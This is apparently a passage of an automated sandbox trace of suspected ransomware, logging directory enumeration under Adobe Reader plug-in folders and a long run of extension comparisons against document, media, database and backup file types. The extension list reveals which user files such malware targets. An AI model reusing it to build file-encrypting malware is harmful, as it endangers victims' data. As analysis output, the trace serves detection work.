ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb9d0 [0048.457] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.457] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.POL", cAlternateFileName="")) returned 1 [0048.457] FindClose (in: hFindFile=0x7cb9d0 | out: hFindFile=0x7cb9d0) returned 1 [0048.458] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.458] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUM", cAlternateFileName="")) returned 1 [0048.458] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*", lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb9d0 [0048.458] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.458] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUM", cAlternateFileName="")) returned 1 [0048.459] FindClose (in: hFindFile=0x7cb9d0 | out: hFindFile=0x7cb9d0) returned 1 [0048.459] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.459] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUS", cAlternateFileName="")) returned 1 [0048.459] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*", lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb9d0 [0048.460] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.460] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUS", cAlternateFileName="")) returned 1 [0048.460] FindClose (in: hFindFile=0x7cb9d0 | out: hFindFile=0x7cb9d0) returned 1 [0048.460] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.460] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SKY", cAlternateFileName="")) returned 1 [0048.460] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*", lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb9d0 [0048.461] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.461] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SKY", cAlternateFileName="")) returned 1 [0048.461] FindClose (in: hFindFile=0x7cb9d0 | out: hFindFile=0x7cb9d0) returned 1 [0048.462] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.462] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SLV", cAlternateFileName="")) returned 1 [0048.462] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*", lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb9d0 [0048.462] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.463] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SLV", cAlternateFileName="")) returned 1 [0048.463] FindClose (in: hFindFile=0x7cb9d0 | out: hFindFile=0x7cb9d0) returned 1 [0048.463] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.463] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_TUR", cAlternateFileName="")) returned 1 [0048.463] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*", lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbad0 [0048.620] FindNextFileW (in: hFindFile=0x7cbad0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.620] FindNextFileW (in: hFindFile=0x7cbad0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.TUR", cAlternateFileName="")) returned 1 [0048.622] FindClose (in: hFindFile=0x7cbad0 | out: hFindFile=0x7cbad0) returned 1 [0048.623] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.623] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 1 [0052.377] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.377] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0052.377] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0052.377] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0052.378] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0052.378] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.378] lstrcmpiW (lpString1=".accda", lpString2="er.png") returned -1 [0052.378] lstrcmpiW (lpString1=".accdb", lpString2="er.png") returned -1 [0052.378] lstrcmpiW (lpString1=".accdc", lpString2="er.png") returned -1 [0052.378] lstrcmpiW (lpString1=".accde", lpString2="er.png") returned -1 [0052.378] lstrcmpiW (lpString1=".accdt", lpString2="er.png") returned -1 [0052.378] lstrcmpiW (lpString1=".accdw", lpString2="er.png") returned -1 [0052.378] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0052.378] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0052.378] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0052.378] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0052.378] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0052.378] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0052.378] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0052.379] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0052.379] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0052.379] lstrcmpiW (lpString1=".anim", lpString2="r.png") returned -1 [0052.379] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0052.379] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0052.379] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0052.379] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0052.379] lstrcmpiW (lpString1=".ascx", lpString2="r.png") returned -1 [0052.379] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0052.379] lstrcmpiW (lpString1=".asmx", lpString2="r.png") returned -1 [0052.379] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0052.379] lstrcmpiW (lpString1=".aspx", lpString2="r.png") returned -1 [0052.379] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0052.379] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0052.379] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0052.380] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0052.380] lstrcmpiW (lpString1=".backup", lpString2="ter.png") returned -1 [0052.380] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0052.380] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0052.380] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0052.380] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0052.380] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0052.380] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.380] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0052.380] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0052.380] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0052.380] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0052.380] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0052.380] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0052.381] lstrcmpiW (lpString1=".cfml", lpString2="r.png") returned -1 [0052.381] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0052.381] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0052.381] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0052.381] lstrcmpiW (lpString1=".class", lpString2="er.png") returned -1 [0052.381] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0052.381] lstrcmpiW (lpString1=".config", lpString2="ter.png") returned -1 [0052.381] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0052.381] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0052.381] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0052.381] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0052.381] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0052.381] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0052.381] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0052.381] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0052.382] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0052.382] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0052.382] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0052.382] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.382] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0052.382] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0052.382] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0052.382] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0052.382] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0052.382] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0052.382] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0052.382] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0052.382] lstrcmpiW (lpString1=".divx", lpString2="r.png") returned -1 [0052.382] lstrcmpiW (lpString1=".djvu", lpString2="r.png") returned -1 [0052.382] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0052.383] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.383] lstrcmpiW (lpString1=".docm", lpString2="r.png") returned -1 [0052.383] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0052.383] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0052.383] lstrcmpiW (lpString1=".dotm", lpString2="r.png") returned -1 [0052.383] lstrcmpiW (lpString1=".dotx", lpString2="r.png") returned -1 [0052.383] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0052.383] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0052.383] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0052.383] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0052.383] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0052.383] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0052.383] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0052.383] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0052.383] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0052.384] lstrcmpiW (lpString1=".edml", lpString2="r.png") returned -1 [0052.384] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0052.384] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0052.384] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0052.384] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0052.384] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0052.384] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0052.384] lstrcmpiW (lpString1=".epsf", lpString2="r.png") returned -1 [0052.384] lstrcmpiW (lpString1=".epsp", lpString2="r.png") returned -1 [0052.384] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0052.384] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0052.384] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0052.384] lstrcmpiW (lpString1=".fido", lpString2="r.png") returned -1 [0052.384] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0052.384] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0052.385] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0052.385] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0052.385] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0052.385] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0052.385] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0052.385] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0052.385] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0052.385] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0052.385] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0052.385] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0052.385] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0052.385] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0052.385] lstrcmpiW (lpString1=".html", lpString2="r.png") returned -1 [0052.385] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0052.385] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0052.386] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0052.386] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0052.386] lstrcmpiW (lpString1=".indd", lpString2="r.png") returned -1 [0052.386] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0052.386] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0052.386] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0052.386] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0052.386] lstrcmpiW (lpString1=".java", lpString2="r.png") returned -1 [0052.386] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0052.386] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0052.386] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0052.386] lstrcmpiW (lpString1=".jpeg", lpString2="r.png") returned -1 [0052.386] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0052.386] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.386] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0052.387] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0052.387] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0052.387] lstrcmpiW (lpString1=".json", lpString2="r.png") returned -1 [0052.387] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0052.387] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0052.387] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0052.387] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0052.387] lstrcmpiW (lpString1=".lasso", lpString2="er.png") returned -1 [0052.387] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0052.387] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0052.387] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0052.387] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0052.387] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0052.387] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0052.387] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0052.388] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0052.388] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0052.388] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0052.388] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0052.388] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0052.388] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0052.388] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0052.388] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0052.388] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0052.388] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0052.388] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0052.388] lstrcmpiW (lpString1=".mhtml", lpString2="er.png") returned -1 [0052.388] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0052.388] lstrcmpiW (lpString1=".mkidx", lpString2="er.png") returned -1 [0052.388] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0052.389] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0052.389] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0052.389] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0052.389] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0052.389] lstrcmpiW (lpString1=".mpeg", lpString2="r.png") returned -1 [0052.389] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0052.389] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned 